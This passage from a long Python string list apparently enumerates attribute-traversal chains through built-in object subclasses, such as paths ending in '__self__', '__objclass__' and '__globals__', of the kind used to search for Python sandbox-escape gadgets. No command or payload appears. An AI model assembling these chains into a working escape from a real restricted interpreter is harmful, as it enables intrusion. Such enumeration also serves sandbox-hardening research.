..__repr__.__eq__.__self__", "Subclass 140: ..__exit__.__setattr__.__self__", "Subclass 82: ..__enter__.__repr__.__self__", "Subclass 135: ..__init__.__lt__.__self__", "Subclass 172: .._make_unbound_method.__delattr__.__self__", "Subclass 83: ..__init_subclass__.__self__.__repr__", "Subclass 174: ..__class_getitem__.__self__.__get__", "Subclass 177: .._push_exit_callback.__class__", "Subclass 173: ..register.__ne__.__self__", "Subclass 185: ..tell.__ne__.__self__", "Subclass 98: .._fill_cache.__call__.__objclass__", "Subclass 177: ..push.__gt__.__self__", "Subclass 199: ..open_resource.__new__.__self__", "Subclass 134: ..__repr__.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__reduce__.__self__", "Subclass 104: ..get_resource_reader.__class__", "Subclass 119: ..__class__.register", "Subclass 110: ..read.__call__.__objclass__", "Subclass 104: ..get_code.__ge__.__self__", "Subclass 110: ..write", "Subclass 177: ..__weakref__.__objclass__._push_exit_callback", "Subclass 108: ..__init__.__ne__.__self__", "Subclass 95: ..__contains__.__repr__.__self__", "Subclass 80: ..__subclasshook__.__self__.__init__", "Subclass 94: ..load_module.__new__.__self__", "Subclass 164: ..repr_str.__repr__.__self__", "Subclass 137: ..__delete__.__ge__.__self__", "Subclass 98: .._get_spec.__gt__.__self__", "Subclass 110: ..__exit__.__init_subclass__.__self__", "Subclass 195: ..IO.seek.__class__", 'Global func 1: ..__class__.__globals__.__objclass__', "Subclass 173: ..register.__init_subclass__.__self__", "Subclass 87: ..__enter__.__init__.__self__", "Subclass 107: ..__init__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_array", "Subclass 176: ..__init__.__init_subclass__.__self__", "Subclass 197: ..find_module.__hash__.__self__", "Subclass 185: ..get", "Subclass 96: ..exec_module.__call__.__self__", "Subclass 138: ..close.__repr__.__self__", "Subclass 94: ..__eq__.__format__.__self__", "Subclass 105: ..contents.__repr__.__self__", "Subclass 119: ..__iter__.__repr__.__objclass__", "Subclass 138: ..close.__reduce_ex__.__self__", "Subclass 172: ..__init__.__delattr__.__self__", "Subclass 104: ..is_package.__get__.__self__", "Subclass 110: ..writelines.__subclasshook__.__self__", "Subclass 183: ..checkgroup.__new__.__self__", "Subclass 184: ..__subclasshook__.__self__.__delitem__", "Subclass 184: ..insert.__init_subclass__.__self__", "Subclass 95: ..__getitem__.__gt__.__self__", "Subclass 80: ..release.__class__", "Subclass 198: ..module_repr.__class__", "Subclass 107: ..setstate.__get__.__objclass__", "Subclass 172: ..__get__.__repr__.__self__", "Subclass 136: ..__repr__.__reduce_ex__.__self__", "Subclass 98: ..__init__.__format__.__self__", "Subclass 137: ..__init__.__ge__.__self__", "Subclass 199: ..is_resource.__format__.__self__", "Subclass 177: .._create_cb_wrapper.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__lt__.__self__", "Subclass 106: ..encode", "Subclass 164: ..repr_list.__ge__.__self__", "Subclass 140: ..__exit__.__init_subclass__.__self__", "Subclass 177: ..__weakref__.__objclass__.callback", "Subclass 109: ..__subclasshook__.__self__.reset", "Subclass 93: ..create_module.__hash__.__self__", "Subclass 115: ..__await__.__hash__.__self__", "Subclass 110: ..reset.__str__.__self__", "Subclass 184: ..__init__.__dir__.__self__", "Subclass 134: ..__call__.__ge__.__self__", "Subclass 110: ..__next__.__ne__.__self__", "Subclass 137: ..__get__.__lt__.__self__", "Subclass 109: ..__getattr__.__get__.__objclass__", "Subclass 185: .._Tokenizer__next.__ne__.__self__", "Subclass 82: ..__init__.__getattribute__.__self__", "Subclass 104: ..__repr__.__dir__.__self__", "Subclass 98: ..__init_subclass__.__self__.__init__", "Subclass 198: ..create_module.__call__.__self__", "Subclass 136: ..__call__.__delattr__.__self__", "Subclass 184: ..__len__.__getattribute__.__self__", "Subclass 110: ..__subclasshook__.__self__.__getattr__", "Subclass 194: ..__class__.__new__.__class__", "Subclass 96: ..is_package.__new__.__self__", "Subclass 95: ..__contains__.__gt__.__self__", "Subclass 137: ..__init__.__repr__.__objclass__", "Subclass 184: ..append.__call__.__objclass__", "Subclass 95: ..append", "Subclass 109: ..__getattr__.__repr__.__self__", "Subclass 81: ..__repr__.__gt__.__self__", "Subclass 104: ..is_package.__format__.__self__", "Subclass 93: ..load_module.__init_subclass__.__self__", "Subclass 93: ..exec_module.__eq__.__self__", "Subclass 107: ..__init__.__call__.__self__", "Subclass 110: ..read.__format__.__self__", "Subclass 93: ..is_package.__reduce_ex__.__self__", "Subclass 104: ..find_module.__str__.__self__", "Subclass 94: ..__eq__.__reduce_ex__.__self__", "Subclass 84: ..module_repr.__call__.__objclass__", "Subclass 174: ..__init__.__dir__.__self__", "Subclass 185: ..match.__new__.__self__", "Subclass 109: ..__init__.__lt__.__self__", "Subclass 96: ..get_source.__getattribute__.__self__", "Subclass 199: ..contents.__le__.__self__", "Subclass 107: ..reset.__new__.__self__", "Subclass 105: ..resource_path.__delattr__.__self__", "Subclass 135: ..__call__.__sizeof__.__self__", "Subclass 95: ..__len__", "Subclass 108: ..setstate.__setattr__.__self__", "Subclass 98: ..invalidate_caches.__get__.__self__", "Subclass 94: ..load_module.__reduce__.__self__", "Subclass 96: ..create_module.__call__.__self__", "Subclass 87: ..__enter__.__get__.__self__", "Subclass 109: ..reset.__class__", "Subclass 137: ..getter.__setattr__.__self__", "Subclass 138: ..__await__.__gt__.__self__", "Subclass 95: ..__repr__.__reduce__.__self__", "Subclass 104: ..__repr__.__format__.__self__", "Subclass 109: ..__exit__.__get__.__self__", "Subclass 133: ..__init__.__reduce_ex__.__self__", "Subclass 135: ..__weakref__.__objclass__.__repr__", "Subclass 183: ..opengroup.__le__.__self__", "Subclass 108: ..decode.__call__.__objclass__", "Subclass 174: ..__set_name__.__subclasshook__.__self__", "Subclass 94: ..get_resource_reader.__call__.__self__", "Subclass 137: ..__delete__.__ne__.__self__", "Subclass 94: ..get_filename.__get__.__objclass__", "Subclass 133: ..__iter__.__repr__.__self__", "Subclass 186: ..__init__.__lt__.__self__", "Subclass 130: ..__class__.__new__.__class__", "Subclass 82: ..__exit__.__reduce__.__self__", "Subclass 198: ..load_module.__ge__.__self__", "Subclass 93: ..is_package.__le__.__self__", "Subclass 109: ..__weakref__.__objclass__.__exit__", "Subclass 94: ..__eq__.__get__.__self__", "Subclass 110: ..writelines.__call__.__self__", "Subclass 110: ..__getattr__.__call__.__self__", "Subclass 109: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__delitem__.__dir__.__self__", "Subclass 138: ..__next__.__get__.__self__", "Subclass 94: ..get_filename.__call__.__objclass__", "Subclass 109: ..readline.__subclasshook__.__self__", "Subclass 177: .._create_exit_wrapper.__str__.__self__", "Subclass 108: ..getstate.__dir__.__self__", "Subclass 108: ..decode.__le__.__self__", "Subclass 84: ..module_repr.__eq__.__self__", "Subclass 109: ..__init_subclass__.__self__.read", "Subclass 80: ..has_deadlock.__new__.__self__", "Subclass 110: ..readline.__str__.__self__", "Subclass 98: ..__init__.__call__.__self__", "Subclass 199: ..__weakref__.__objclass__.resource_path", "Subclass 137: ..deleter.__init_subclass__.__self__", "Subclass 136: ..__repr__.__reduce__.__self__", "Subclass 82: ..__enter__.__eq__.__self__", "Subclass 137: ..setter.__gt__.__self__", "Subclass 95: ..__subclasshook__.__self__.__repr__", "Subclass 174: ..__get__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__format__.__self__", "Subclass 176: ..__subclasshook__.__self__.__init__", "Subclass 98: ..invalidate_caches.__repr__.__self__", "Subclass 195: ..TextIO.__enter__", "Subclass 197: ..__class__.__subclasscheck__", "Subclass 184: ..__setitem__.__call__.__objclass__", "Subclass 138: ..__iter__.__hash__.__self__", "Subclass 164: ..repr_tuple.__call__.__self__", "Subclass 173: ..__init__.__hash__.__self__", "Subclass 108: ..decode.__format__.__self__", "Subclass 164: ..repr_dict.__repr__.__self__", "Subclass 164: ..repr_dict.__lt__.__self__", "Subclass 109: ..writelines.__hash__.__self__", "Subclass 133: ..__enter__.__format__.__self__", "Subclass 175: .._recreate_cm.__new__.__self__", "Subclass 197: ..__class__.__new__", "Subclass 175: .._recreate_cm.__reduce_ex__.__self__", "Subclass 105: ..__subclasshook__.__self__.resource_path", "Subclass 95: ..__len__.__get__.__objclass__", "Subclass 198: ..create_module.__setattr__.__self__", "Subclass 172: .._make_unbound_method.__reduce__.__self__", "Subclass 94: ..get_resource_reader.__reduce__.__self__", "Subclass 109: ..__exit__.__gt__.__self__", "Subclass 183: ..checklookbehindgroup.__get__.__objclass__", "Subclass 164: ..repr_instance.__ne__.__self__", "Subclass 172: ..__class_getitem__.__self__.__get__", "Subclass 134: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..__init__.__init__.__self__", "Subclass 94: ..__eq__.__init_subclass__.__self__", "Subclass 136: ..__call__.__call__.__objclass__", "Subclass 137: ..setter.__get__.__objclass__", "Subclass 192: ..__new__.__delattr__.__self__", "Subclass 112: ..__class__.register.__class__", "Subclass 136: ..__repr__.__get__.__self__", "Subclass 110: ..__enter__.__hash__.__self__", "Subclass 137: ..__set__.__get__.__self__", "Subclass 134: ..__init__", "Subclass 164: ..repr_array.__delattr__.__self__", "Subclass 138: ..__next__.__repr__.__self__", "Subclass 135: ..__repr__.__lt__.__self__", "Subclass 94: ..open_resource", "Subclass 104: ..find_loader.__reduce__.__self__", "Subclass 164: ..repr1.__get__.__self__", "Subclass 134: ..__call__.__hash__.__self__", "Subclass 115: ..__class__._abc_registry_clear.__class__", "Subclass 95: ..__weakref__.__objclass__.__contains__", "Subclass 106: ..encode.__delattr__.__self__", "Subclass 177: .._push_exit_callback.__setattr__.__self__", "Subclass 94: ..get_data.__call__.__self__", "Subclass 93: ..__weakref__.__objclass__.create_module", "Subclass 95: ..__setitem__.__ge__.__self__", "Subclass 179: ..__class__.__call__.__class__", "Subclass 138: ..__iter__.__new__.__self__", "Subclass 132: ..__class__.register.__class__", "Subclass 94: ..get_resource_reader.__get__.__objclass__", "Subclass 107: ..__subclasshook__.__self__.setstate", "Subclass 195: ..IO.writelines.__class__", "Subclass 114: ..__hash__.__get__.__objclass__", "Subclass 135: ..__repr__.__call__.__objclass__", "Subclass 132: ..__class__.__instancecheck__.__class__", "Subclass 137: ..__get__.__repr__.__self__", "Subclass 93: ..exec_module.__get__.__self__", "Subclass 82: ..__enter__.__le__.__self__", "Subclass 110: ..__init__.__delattr__.__self__", "Subclass 86: ..module_repr.__eq__.__self__", "Subclass 95: ..__setitem__.__gt__.__self__", "Subclass 98: ..find_module.__new__.__self__", "Subclass 95: ..__init__.__init_subclass__.__self__", "Subclass 177: ..push.__init__.__self__", "Subclass 179: ..__class__._create_.__class__", "Subclass 107: ..getstate.__subclasshook__.__self__", "Subclass 137: ..__init__.__hash__.__self__", "Subclass 138: ..__next__.__class__", "Subclass 95: ..__getitem__.__call__.__self__", "Subclass 164: ..repr_list.__get__.__objclass__", "Subclass 110: ..readline.__get__.__self__", "Subclass 177: ..__init_subclass__.__self__._create_cb_wrapper", "Subclass 198: ..__class__.__subclasscheck__.__class__", "Subclass 175: .._recreate_cm.__sizeof__.__self__", "Subclass 110: ..__iter__.__reduce_ex__.__self__", "Subclass 177: .._create_cb_wrapper", "Subclass 98: ..invalidate_caches.__ge__.__self__", "Subclass 130: ..__class__.register.__class__", "Subclass 164: ..__init__", "Subclass 87: ..__exit__.__repr__.__self__", "Subclass 94: ..__eq__.__new__.__self__", "Subclass 107: ..reset.__subclasshook__.__self__", "Subclass 108: ..__init__.__gt__.__self__", "Subclass 134: ..__weakref__.__objclass__.__repr__", "Subclass 133: ..__iter__.__str__.__self__", "Subclass 87: ..__enter__.__call__.__objclass__", "Subclass 164: ..repr_list.__call__.__objclass__", "Subclass 109: ..read.__format__.__self__", "Subclass 96: ..is_package.__eq__.__self__", "Subclass 105: ..contents.__init__.__self__", "Subclass 108: ..reset.__dir__.__self__", "Subclass 197: ..__class__._abc_caches_clear.__class__", "Subclass 80: ..__subclasshook__.__self__.has_deadlock", "Subclass 109: ..writelines.__dir__.__self__", "Subclass 104: ..get_filename.__init__.__self__", "Subclass 96: ..is_package.__init_subclass__.__self__", "Subclass 110: ..writelines.__setattr__.__self__", "Subclass 108: ..setstate.__le__.__self__", "Subclass 83: ..__repr__.__le__.__self__", "Subclass 110: ..__getattr__.__get__.__objclass__", "Subclass 198: ..__weakref__.__objclass__.load_module", "Subclass 185: ..__subclasshook__.__self__.match", "Subclass 95: ..__repr__", "Subclass 110: ..__iter__.__gt__.__self__", "Subclass 195: ..BinaryIO.fileno", "Subclass 95: ..__iter__.__repr__.__self__", "Subclass 86: ..find_module.__func__.__class__", "Subclass 164: ..repr_instance.__gt__.__self__", "Subclass 98: ..find_loader.__get__.__objclass__", "Subclass 109: ..__enter__.__dir__.__self__", "Subclass 80: ..__repr__.__getattribute__.__self__", "Subclass 140: ..__exit__.__eq__.__self__", "Subclass 137: ..__get__.__get__.__objclass__", "Subclass 173: ..__init__.__le__.__self__", "Subclass 139: ..__init__.__init__.__self__", "Subclass 185: ..error.__le__.__self__", "Subclass 81: ..__repr__.__init__.__self__", "Subclass 87: ..__init_subclass__.__self__.__enter__", "Subclass 87: ..__exit__.__format__.__self__", "Subclass 80: ..acquire.__hash__.__self__", "Subclass 135: .._Printer__setup.__eq__.__self__", "Subclass 84: ..module_repr.__get__.__objclass__", "Subclass 95: ..__weakref__.__objclass__.__init__", "Subclass 93: ..is_package.__gt__.__self__", "Subclass 164: ..repr1.__call__.__objclass__", "Subclass 137: ..__init__.__getattribute__.__self__", "Subclass 104: ..get_code.__dir__.__self__", "Subclass 188: ..__copy__.__getattribute__.__self__", "Subclass 83: ..__eq__.__le__.__self__", "Subclass 107: ..encode.__dir__.__self__", "Subclass 110: ..__iter__.__call__.__objclass__", "Subclass 115: ..__await__.__reduce__.__self__", "Subclass 95: ..__len__.__le__.__self__", "Subclass 185: ..error.__ge__.__self__", "Subclass 197: ..__subclasshook__.__self__.find_module", "Subclass 195: ..BinaryIO.seekable.__class__", "Subclass 96: ..is_package.__lt__.__self__", "Subclass 164: ..repr_tuple.__subclasshook__.__self__", "Subclass 87: ..__enter__.__class__", "Subclass 95: ..__init__.__reduce_ex__.__self__", "Subclass 137: ..getter", "Subclass 198: ..__class__.register", "Subclass 135: ..__init__.__str__.__self__", "Subclass 104: ..get_source.__sizeof__.__self__", "Subclass 95: ..__init__.__new__.__self__", "Subclass 109: ..writelines.__call__.__objclass__", "Subclass 164: ..repr_tuple.__format__.__self__", "Subclass 185: ..seek.__getattribute__.__self__", "Subclass 184: ..__delitem__.__get__.__objclass__", "Subclass 117: ..__class__.register.__class__", "Subclass 114: ..__hash__.__le__.__self__", "Subclass 110: ..__iter__.__repr__.__objclass__", "Subclass 95: ..__repr__.__hash__.__self__", "Subclass 177: ..callback.__str__.__self__", "Subclass 138: ..__next__.__reduce__.__self__", "Subclass 110: ..writelines.__str__.__self__", "Subclass 164: ..repr_set.__le__.__self__", "Subclass 109: ..__next__.__getattribute__.__self__", "Subclass 140: ..__repr__.__new__.__self__", "Subclass 186: ..__init__.__repr__.__self__", "Subclass 86: ..exec_module.__delattr__.__self__", "Subclass 119: ..__iter__.__ge__.__self__", "Subclass 164: ..repr_int.__class__", "Subclass 96: ..is_package.__gt__.__self__", "Subclass 164: ..repr_frozenset.__str__.__self__", "Subclass 104: ..get_resource_reader", "Subclass 195: ..TextIO.write.__class__", "Subclass 138: ..throw", "Subclass 173: ..register.__str__.__self__", "Subclass 195: ..TextIO.__exit__", "Subclass 106: ..encode.__str__.__self__", "Subclass 177: .._create_exit_wrapper.__setattr__.__self__", "Subclass 174: ..__get__.__call__.__self__", "Subclass 83: ..__init__.__init__.__self__", "Subclass 137: ..getter.__new__.__self__", "Subclass 137: ..setter.__delattr__.__self__", "Subclass 86: ..exec_module.__init__.__self__", "Subclass 107: ..__init__.__eq__.__self__", "Subclass 184: ..append.__repr__.__self__", "Subclass 93: ..create_module.__format__.__self__", "Subclass 164: ..repr_int.__init__.__self__", "Subclass 137: ..__set__.__lt__.__self__", "Subclass 95: ..__iter__.__getattribute__.__self__", "Subclass 138: ..__iter__.__eq__.__self__", "Subclass 177: ..enter_context.__lt__.__self__", "Subclass 109: ..seek.__delattr__.__self__", "Subclass 95: .._get_parent_path.__reduce_ex__.__self__", "Subclass 107: ..getstate.__call__.__objclass__", "Subclass 172: ..__init__.__new__.__self__", "Subclass 95: ..__repr__.__new__.__self__", "Subclass 179: ..__class__.__new__.__class__", "Subclass 110: ..__enter__.__format__.__self__", "Subclass 81: ..release.__format__.__self__", "Subclass 173: ..__get__.__get__.__self__", "Subclass 80: ..__init__.__reduce_ex__.__self__", "Subclass 104: ..get_resource_reader.__ne__.__self__", "Subclass 164: ..repr_tuple.__repr__.__objclass__", "Subclass 109: ..readline.__init_subclass__.__self__", "Subclass 131: ..__class_getitem__.__self__.__contains__", "Subclass 133: ..__enter__.__setattr__.__self__", "Subclass 192: ..__new__.__gt__.__self__", "Subclass 105: ..__init__.__ge__.__self__", "Subclass 177: ..pop_all.__eq__.__self__", "Subclass 164: ..repr1.__get__.__objclass__", "Subclass 94: ..load_module.__hash__.__self__", "Subclass 107: ..getstate.__format__.__self__", "Subclass 107: ..__init__.__getattribute__.__self__", "Subclass 110: ..__next__.__dir__.__self__", "Subclass 94: ..resource_path.__new__.__self__", "Subclass 80: ..__repr__.__reduce_ex__.__self__", "Subclass 110: ..__next__.__delattr__.__self__", "Subclass 173: ..__get__.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__class__", "Subclass 94: ..__hash__.__str__.__self__", "Subclass 104: ..get_data.__delattr__.__self__", "Subclass 106: ..encode.__eq__.__self__", "Subclass 80: ..has_deadlock", "Subclass 107: ..reset.__call__.__self__", "Subclass 173: ..__get__.__get__.__objclass__", "Subclass 198: ..__class__.__instancecheck__", "Subclass 82: ..__exit__.__gt__.__self__", "Subclass 130: ..__len__.__init__.__self__", "Subclass 185: ..getuntil.__repr__.__objclass__", "Subclass 184: ..__weakref__.__objclass__.getwidth", "Subclass 108: ..getstate.__get__.__objclass__", "Subclass 199: ..__class__.register.__class__", "Subclass 96: ..get_code.__init__.__self__", "Subclass 199: ..resource_path", "Subclass 199: ..__class__.register", "Subclass 82: ..__enter__.__dir__.__self__", "Subclass 109: ..__next__.__dir__.__self__", "Subclass 83: ..__repr__.__lt__.__self__", "Subclass 117: ..__class__.register", "Subclass 104: ..is_package.__str__.__self__", "Subclass 134: ..__init__.__str__.__self__", "Subclass 173: ..__get__.__new__.__self__", "Subclass 83: ..__init__.__new__.__self__", "Subclass 110: ..seek.__call__.__self__", "Subclass 105: ..resource_path.__lt__.__self__", "Subclass 176: ..__init__.__str__.__self__", "Subclass 95: .._recalculate.__new__.__self__", "Subclass 96: ..create_module.__init_subclass__.__self__", "Subclass 109: ..reset.__getattribute__.__self__", "Subclass 198: ..__class__._abc_caches_clear.__class__", "Subclass 81: ..__repr__.__le__.__self__", "Subclass 177: ..enter_context.__subclasshook__.__self__", "Subclass 184: ..dump.__repr__.__objclass__", "Subclass 98: .._fill_cache.__repr__.__objclass__", "Subclass 177: ..enter_context.__init_subclass__.__self__", "Subclass 139: ..__str__.__sizeof__.__self__", "Subclass 175: ..__call__.__getattribute__.__self__", "Subclass 185: ..getwhile.__lt__.__self__", "Subclass 196: ..Pattern.__class__.__init__", "Subclass 81: ..acquire.__ge__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_deque", "Subclass 177: ..__init__.__repr__.__objclass__", "Subclass 131: ..__contains__.__call__.__self__", "Subclass 177: .._create_exit_wrapper.__hash__.__self__", "Subclass 138: ..__await__.__hash__.__self__", "Subclass 184: ..__repr__.__setattr__.__self__", "Subclass 198: ..create_module.__repr__.__objclass__", "Subclass 186: ..scan", "Subclass 87: ..__exit__.__gt__.__self__", "Subclass 105: ..is_resource.__new__.__self__", "Subclass 173: ..register.__get__.__self__", "Subclass 183: ..checkgroup.__call__.__objclass__", "Subclass 138: ..send.__gt__.__self__", "Subclass 110: ..read", "Subclass 96: ..__init__.__repr__.__objclass__", "Subclass 107: ..getstate.__sizeof__.__self__", "Subclass 183: ..closegroup.__subclasshook__.__self__", "Subclass 96: ..get_code.__class__", "Subclass 98: .._get_spec.__hash__.__self__", "Subclass 138: ..__next__.__init_subclass__.__self__", "Subclass 133: ..__iter__.__le__.__self__", "Subclass 110: ..__init__.__dir__.__self__", 'Global func 1: ..__setattr__.__self__.__class__', "Subclass 95: .._find_parent_path_names.__get__.__objclass__", "Subclass 183: ..checkgroup.__ge__.__self__", "Subclass 134: ..__init__.__get__.__objclass__", "Subclass 184: ..append.__str__.__self__", "Subclass 110: ..read.__repr__.__self__", "Subclass 86: ..module_repr.__gt__.__self__", "Subclass 184: ..getwidth.__str__.__self__", "Subclass 133: ..__subclasshook__.__self__.__enter__", "Subclass 98: ..path_hook.__self__.__init__", "Subclass 109: ..__iter__.__init_subclass__.__self__", "Subclass 198: ..module_repr.__new__.__self__", "Subclass 138: ..__init__.__new__.__self__", "Subclass 172: ..__repr__.__init__.__self__", "Subclass 138: ..send.__subclasshook__.__self__", "Subclass 137: ..__init__.__init__.__self__", "Subclass 183: ..opengroup.__get__.__objclass__", "Subclass 110: ..__init__.__reduce__.__self__", "Subclass 172: .._make_unbound_method.__ge__.__self__", "Subclass 188: ..__deepcopy__.__format__.__self__", "Subclass 183: ..__weakref__.__objclass__.checkgroup", "Subclass 135: .._Printer__setup.__reduce__.__self__", "Subclass 164: .._repr_iterable.__sizeof__.__self__", "Subclass 110: ..seek.__repr__.__self__", "Subclass 94: ..__subclasshook__.__self__.__init__", "Subclass 95: ..__contains__.__reduce__.__self__", "Subclass 177: .._push_exit_callback.__init_subclass__.__self__", "Subclass 104: ..__repr__.__get__.__objclass__", 'Global func 1: ..__hash__.__self__.__class__', "Subclass 188: ..__deepcopy__.__getattribute__.__self__", "Subclass 185: ..get.__ne__.__self__", "Subclass 134: ..__init_subclass__.__self__.__repr__", "Subclass 104: ..__init__.__init_subclass__.__self__", "Subclass 172: ..__repr__.__ne__.__self__", "Subclass 175: ..__call__.__format__.__self__", "Subclass 172: ..__repr__.__str__.__self__", "Subclass 81: ..__init__.__get__.__objclass__", "Subclass 184: ..insert.__new__.__self__", "Subclass 110: ..read.__le__.__self__", "Subclass 134: ..__call__.__get__.__objclass__", "Subclass 164: .._repr_iterable.__init__.__self__", "Subclass 94: ..__hash__.__reduce__.__self__", "Subclass 84: ..module_repr.__call__.__self__", "Subclass 172: ..__init__.__reduce_ex__.__self__", "Subclass 83: ..__repr__.__ne__.__self__", "Subclass 133: ..__iter__.__getattribute__.__self__", "Subclass 82: ..__exit__.__subclasshook__.__self__", "Subclass 134: ..__call__.__gt__.__self__", "Subclass 164: ..repr_str.__format__.__self__", "Subclass 114: ..__hash__.__setattr__.__self__", "Subclass 138: ..__init_subclass__.__self__.__await__", "Subclass 96: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__format__.__self__", "Subclass 95: ..__repr__.__ne__.__self__", "Subclass 109: ..readline.__le__.__self__", "Subclass 133: ..__iter__.__gt__.__self__", "Subclass 95: ..__contains__.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__getattribute__.__self__", "Subclass 140: ..__exit__.__init__.__self__", "Subclass 133: ..__getattr__.__getattribute__.__self__", "Subclass 109: ..seek.__new__.__self__", "Subclass 98: ..find_loader.__getattribute__.__self__", "Subclass 188: ..__deepcopy__.__ne__.__self__", "Subclass 131: ..__contains__", "Subclass 108: ..setstate.__getattribute__.__self__", "Subclass 81: ..release.__call__.__objclass__", "Subclass 109: ..readlines.__eq__.__self__", "Subclass 185: ..getuntil.__repr__.__self__", "Subclass 179: ..__class__.__iter__", "Subclass 198: ..load_module.__init__.__self__", "Subclass 192: ..__new__.__init_subclass__.__self__", "Subclass 98: ..find_module.__delattr__.__self__", "Subclass 104: ..get_resource_reader.__init_subclass__.__self__", "Subclass 81: ..acquire.__gt__.__self__", "Subclass 164: ..repr_dict.__hash__.__self__", "Subclass 164: ..repr_deque.__getattribute__.__self__", "Subclass 98: ..find_spec.__call__.__objclass__", "Subclass 95: ..__setitem__.__init_subclass__.__self__", "Subclass 138: ..close.__init__.__self__", "Subclass 184: ..__repr__.__str__.__self__", "Subclass 137: ..__weakref__.__objclass__.__init__", "Subclass 175: ..__call__.__hash__.__self__", "Subclass 186: ..scan.__subclasshook__.__self__", "Subclass 172: ..__init__.__get__.__objclass__", "Subclass 198: ..module_repr.__format__.__self__", "Subclass 133: ..__enter__.__ne__.__self__", "Subclass 138: ..close.__str__.__self__", "Subclass 95: ..__subclasshook__.__self__._get_parent_path", "Subclass 139: ..__init__.__get__.__objclass__", "Subclass 198: ..module_repr.__call__.__objclass__", "Subclass 177: ..__init__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__call__.__objclass__", "Subclass 109: ..__iter__.__get__.__self__", "Subclass 183: ..closegroup.__ne__.__self__", "Subclass 92: ..find_module.__func__", "Subclass 172: ..__get__.__init_subclass__.__self__", "Subclass 195: ..TextIO.fileno.__class__", "Subclass 135: ..__init__.__eq__.__self__", "Subclass 139: ..__init__.__sizeof__.__self__", "Subclass 105: ..is_resource.__setattr__.__self__", "Subclass 104: ..get_data.__lt__.__self__", "Subclass 80: ..has_deadlock.__reduce_ex__.__self__", "Subclass 109: ..readline.__delattr__.__self__", "Subclass 135: ..__subclasshook__.__self__._Printer__setup", "Subclass 105: ..contents.__gt__.__self__", "Subclass 80: ..__repr__.__ge__.__self__", "Subclass 109: ..reset.__get__.__self__", "Subclass 177: ..__init__.__dir__.__self__", "Subclass 133: ..__init__.__lt__.__self__", "Subclass 164: ..repr_array.__ne__.__self__", "Subclass 98: ..__init__.__ge__.__self__", "Subclass 132: ..__call__.__init_subclass__.__self__", "Subclass 93: ..exec_module.__hash__.__self__", "Subclass 130: ..__len__.__ne__.__self__", "Subclass 83: ..__init__.__sizeof__.__self__", "Subclass 105: ..contents.__setattr__.__self__", "Subclass 109: ..seek.__repr__.__objclass__", 'Global func 1: ..__gt__.__self__', "Subclass 110: ..__next__.__repr__.__self__", "Subclass 86: ..exec_module.__new__.__self__", "Subclass 140: ..__exit__", "Subclass 184: ..insert.__class__", "Subclass 94: ..is_resource.__hash__.__self__", "Subclass 105: ..__weakref__.__objclass__.is_resource", "Subclass 134: ..__repr__.__sizeof__.__self__", "Subclass 177: ..pop_all.__setattr__.__self__", "Subclass 95: .._recalculate.__dir__.__self__", "Subclass 95: ..__repr__.__ge__.__self__", "Subclass 138: ..__await__.__call__.__objclass__", "Subclass 93: ..is_package.__sizeof__.__self__", "Subclass 98: ..find_loader.__str__.__self__", "Subclass 184: ..__getitem__.__sizeof__.__self__", "Subclass 185: ..tell.__eq__.__self__", "Subclass 133: ..close.__le__.__self__", "Subclass 140: ..__enter__.__call__.__objclass__", "Subclass 109: ..__next__.__lt__.__self__", "Subclass 177: ..push.__call__.__self__", "Subclass 81: ..__init_subclass__.__self__.__init__", "Subclass 109: ..writelines.__format__.__self__", "Subclass 184: ..dump.__sizeof__.__self__", "Subclass 98: ..__init__.__dir__.__self__", "Subclass 133: ..close.__ne__.__self__", "Subclass 172: ..__init__.__call__.__objclass__", "Subclass 96: ..create_module.__str__.__self__", "Subclass 110: ..__getattr__.__format__.__self__", "Subclass 83: ..__subclasshook__.__self__.__eq__", "Subclass 94: ..get_filename.__init__.__self__", "Subclass 96: ..create_module.__ge__.__self__", "Subclass 98: ..path_hook.__self__._get_spec", "Subclass 175: ..__call__.__call__.__self__", "Subclass 110: ..seek.__get__.__objclass__", "Subclass 176: ..__init__.__eq__.__self__", "Subclass 183: ..__subclasshook__.__self__.opengroup", "Subclass 133: ..__getattr__.__get__.__objclass__", "Subclass 117: ..__aiter__.__reduce_ex__.__self__", "Subclass 104: ..__repr__.__eq__.__self__", "Subclass 176: ..__weakref__.__objclass__.__init__", "Subclass 185: ..error.__gt__.__self__", "Subclass 104: ..get_source.__setattr__.__self__", "Subclass 136: ..__repr__.__le__.__self__", "Subclass 172: ..__get__.__reduce__.__self__", "Subclass 184: ..append.__reduce__.__self__", "Subclass 81: ..release.__lt__.__self__", "Subclass 93: ..__weakref__.__objclass__.load_module", "Subclass 114: ..__subclasshook__.__func__.__class__", "Subclass 195: ..IO.seekable", "Subclass 183: ..checkgroup.__gt__.__self__", "Subclass 199: ..resource_path.__ne__.__self__", "Subclass 104: ..get_resource_reader.__setattr__.__self__", "Subclass 108: ..getstate.__str__.__self__", "Subclass 185: ..seek.__subclasshook__.__self__", "Subclass 83: ..__init__.__call__.__objclass__", "Subclass 93: ..__weakref__.__objclass__.is_package", "Subclass 96: ..create_module.__call__.__objclass__", "Subclass 140: ..__enter__.__ge__.__self__", "Subclass 173: ..__get__.__eq__.__self__", "Subclass 175: ..__call__.__reduce_ex__.__self__", "Subclass 177: ..__init__.__setattr__.__self__", "Subclass 132: ..__class__._dump_registry.__class__", "Subclass 98: .._fill_cache.__delattr__.__self__", "Subclass 185: ..get.__init_subclass__.__self__", "Subclass 104: ..__repr__.__reduce_ex__.__self__", "Subclass 198: ..module_repr.__get__.__objclass__", "Subclass 133: ..__init__.__format__.__self__", "Subclass 177: ..__init__.__eq__.__self__", "Subclass 184: ..__getitem__.__init_subclass__.__self__", "Subclass 177: .._create_exit_wrapper.__eq__.__self__", "Subclass 94: ..open_resource.__hash__.__self__", "Subclass 183: ..__init__", "Subclass 80: ..__repr__.__get__.__objclass__", "Subclass 197: ..__class__.__instancecheck__.__class__", "Subclass 96: ..load_module.__le__.__self__", "Subclass 198: ..__class__.__subclasscheck__", "Subclass 183: ..checklookbehindgroup.__call__.__self__", "Subclass 82: ..__exit__.__le__.__self__", "Subclass 184: 